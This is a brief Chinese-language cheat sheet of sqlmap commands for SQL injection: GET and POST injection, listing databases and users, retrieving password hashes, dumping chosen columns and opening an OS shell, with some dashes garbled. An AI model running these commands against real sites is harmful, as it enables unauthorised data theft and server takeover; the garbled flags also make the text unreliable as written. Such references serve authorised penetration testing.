sqlmap指令集锦--一小部分

sqlmap.py -help //查找指令
sqlmap.py –u “URL” //get注入
sqlmap.py –u “URL” - -data “DATA”//post注入
sqlmap.py –u “URL” - -cookie “COOKIE”//修改请求时的cookie
sqlmap.py –u “URL” - -dbs //列数据库
sqlmap.py –u “URL” – -users //列用户
sqlmap.py –u “URL” – -passwords //获取密码hash
sqlmap.py –u “URL” – -tables -D DB_NAME //列DB_NAME的表
sqlmap.py –u “URL” – -columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
sqlmap.py –u “URL” – -dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
sqlmap.py –u “URL” – -os-shell //取得一个shell